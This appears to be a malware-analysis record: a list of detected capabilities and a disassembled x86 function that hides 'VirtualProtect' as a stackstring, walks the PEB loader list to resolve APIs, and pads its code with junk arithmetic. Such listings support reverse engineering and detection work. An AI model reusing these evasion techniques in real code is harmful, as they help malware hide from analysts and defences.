Function at 0x6c7d2f
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
ja 0x6c7422
add al, ch
or al, byte [eax]
add byte [eax], al
add byte [ecx + 0x50], al
dec edi
inc esi
cmp ecx, dword [ebp + 0x46]
dec ebx
cmp dword [ebx - 0x1e7efb3c], eax
salc
in al, 0
add byte [ecx + 0x57], bl
push ebx
add esp, 4
xor edi, 0x843a
sub edi, 0x3c3e
pop edi
mov ecx, dword [ebp - 0x23c]
mov dword [ebp - 0xe48], ecx
push eax
push edi
add esp, 4
xor eax, 0x14534
and eax, 0x7b98
pop eax
push edx
push ecx
add esp, 4
jmp 0x6c747a
pop edx
push ebx
push ecx
add esp, 4
jmp 0x6c7485
and ebx, 0x3a11
pop ebx
mov edx, dword [ebp - 0xe48]
mov dword [ebp - 0xe4c], edx
lea eax, [ebp - 0xc50]
push eax
call dword [ebp - 0xe4c]
test eax, eax
jne 0x6c74ea
push eax
push eax
add esp, 4
add eax, 0x13567
and eax, 0x6c60
pop eax
push edx
push edx
add esp, 4
add edx, 0x22ea
xor edx, 0x1571c
and edx, 0x16884
pop edx
push edx
sub edx, 0x13375
pop edx
mov dword [ebp - 0x418], 0
jmp 0x6c7bd5
push edi
sub edi, 0x17cc1
xor edi, 0x8303
pop edi
push edi
push ecx
add esp, 4
sub edi, 0xa184
call 0x6c7512
add byte [ebx], dh
dec edi
inc ebp
inc ebx
cmp byte [esi], dh
cmp al, 0x39
cmp al, 0x83
les eax, [ecx + eax*4]
iretd
push eax
sub eax, 0x6a2
call 0x6c7bea
add byte [ebx + 0x43], cl
inc ecx
dec edx
cmp eax, 0x833a4242
les eax, [eax + ebp*8]
or eax, dword [eax]
add byte [eax], al
add byte [eax + 0x4f], dl
inc esp
aaa
dec esp
xor al, 0x4c
inc edx
dec edx
dec esi
add esp, 4
xor eax, 0x6b75
pop eax
mov edx, dword [ebp - 0x228]
add edx, 0xe
mov dword [ebp - 0xeb0], edx
push edi
push ecx
add esp, 4
or edi, 0x7ba9
pop edi
push edx
sub edx, 0x133d1
add edx, 0xaac3
call 0x6c7c3e
add byte [edx + 0x37], cl
inc ebp
dec eax
cmp eax, 0x39444235
add esp, 4
add edx, 0xc44f
pop edx
cmp dword [ebp - 0x228], 0
je 0x6c7c5a
cmp dword [ebp - 0x614], 0
jne 0x6c7ca0
push ecx
add ecx, 0xfb9f
pop ecx
push edi
push edx
add esp, 4
xor edi, 0x72cd
add edi, 0x8a5f
and edi, 0x1236
pop edi
push edx
push esi
add esp, 4
add edx, 0xb7a9
xor edx, 0x2ddf
pop edx
mov eax, dword [ebp - 0x418]
mov dword [ebp - 0x1068], eax
push 0
call dword [ebp - 0x1068]
mov dword [ebp - 0x1230], 0xa
push edx
add edx, 0x492a
xor edx, 0xf19a
xor edx, 0x6b9a
or edx, 0x40ca
pop edx
push esi
push edi
add esp, 4
xor esi, 0x181ff
jmp 0x6c7cd5
and esi, 0x5940
pop esi
mov ecx, dword [ebp - 0x228]
mov dl, byte [ecx + 0xa]
mov byte [ebp - 0x1fd], dl
mov eax, dword [ebp - 0x614]
sub eax, dword [ebp - 0x228]
mov dword [ebp - 0xc0c], eax
mov dword [ebp - 0x700], 0
push ebx
push eax
add esp, 4
and ebx, 0xd4cc
pop ebx
push edi
sub edi, 0x8040
xor edi, 0x3a74
call 0x6c7d2f
add byte [esi], bh
aas
cmp al, 0x32
inc edx
inc ecx
xor edi, dword [ecx]
aaa
add esp, 4
add edi, 0xa5ea
pop edi
mov byte [ebp - 0x598], 0x56
mov byte [ebp - 0x597], 0x69
mov byte [ebp - 0x596], 0x72
mov byte [ebp - 0x595], 0x74
mov byte [ebp - 0x594], 0x75
mov byte [ebp - 0x593], 0x61
mov byte [ebp - 0x592], 0x6c
mov byte [ebp - 0x591], 0x50
mov byte [ebp - 0x590], 0x72
mov byte [ebp - 0x58f], 0x6f
mov byte [ebp - 0x58e], 0x74
mov byte [ebp - 0x58d], 0x65
mov byte [ebp - 0x58c], 0x63
mov byte [ebp - 0x58b], 0x74
mov byte [ebp - 0x58a], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0xe68], ecx
mov edx, dword [ebp - 0xe68]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xe6c], eax
mov ecx, dword [ebp - 0xe6c]
mov dword [ebp - 0xb90], ecx
push esi
add esi, 0xf506
and esi, 0x702b
sub esi, 0xd09e
sub esi, 0x10ad1
pop esi
push ebx
push ecx
add esp, 4
and ebx, 0x8ce5
pop ebx
push esi
push eax
add esp, 4
and esi, 0x12c19
pop esi
cmp dword [ebp - 0xb90], 0
jne 0x6c7e14
mov dword [ebp - 0x18c], 0
jmp 0x6c80bb
mov edx, dword [ebp - 0xb90]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0x6dc], ecx
push ebx
push esi
add esp, 4
add ebx, 0x78dd
xor ebx, 0x1653c
pop ebx
push edi
push ecx
add esp, 4
xor edi, 0x8432
xor edi, 0x17055
pop edi
push esi
sub esi, 0x308c
or esi, 0x106d1
pop esi
cmp dword [ebp - 0x6dc], 0
jne 0x6c7e70
mov dword [ebp - 0x18c], 0
jmp 0x6c80bb
mov edx, dword [ebp - 0x6dc]
mov dword [ebp - 0x24c], edx
push edi
and edi, 0x4bc2
or edi, 0x11f4c
jmp 0x6c7e8f
pop edi
push esi
call 0x6c7e9e
add byte [esi + 0x40], cl
aas
cmp al, 0x42
dec eax
dec esi
add esp, 4
sub esi, 0x13ec0
and esi, 0xb1d7
pop esi
lea eax, [ebp - 0xc50]
mov dword [ebp - 0x6d8], eax
mov ecx, dword [ebp - 0x24c]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x6d4], edx
xor eax, eax
mov word [ebp - 0x120], ax
xor ecx, ecx
mov word [ebp - 0x34], cx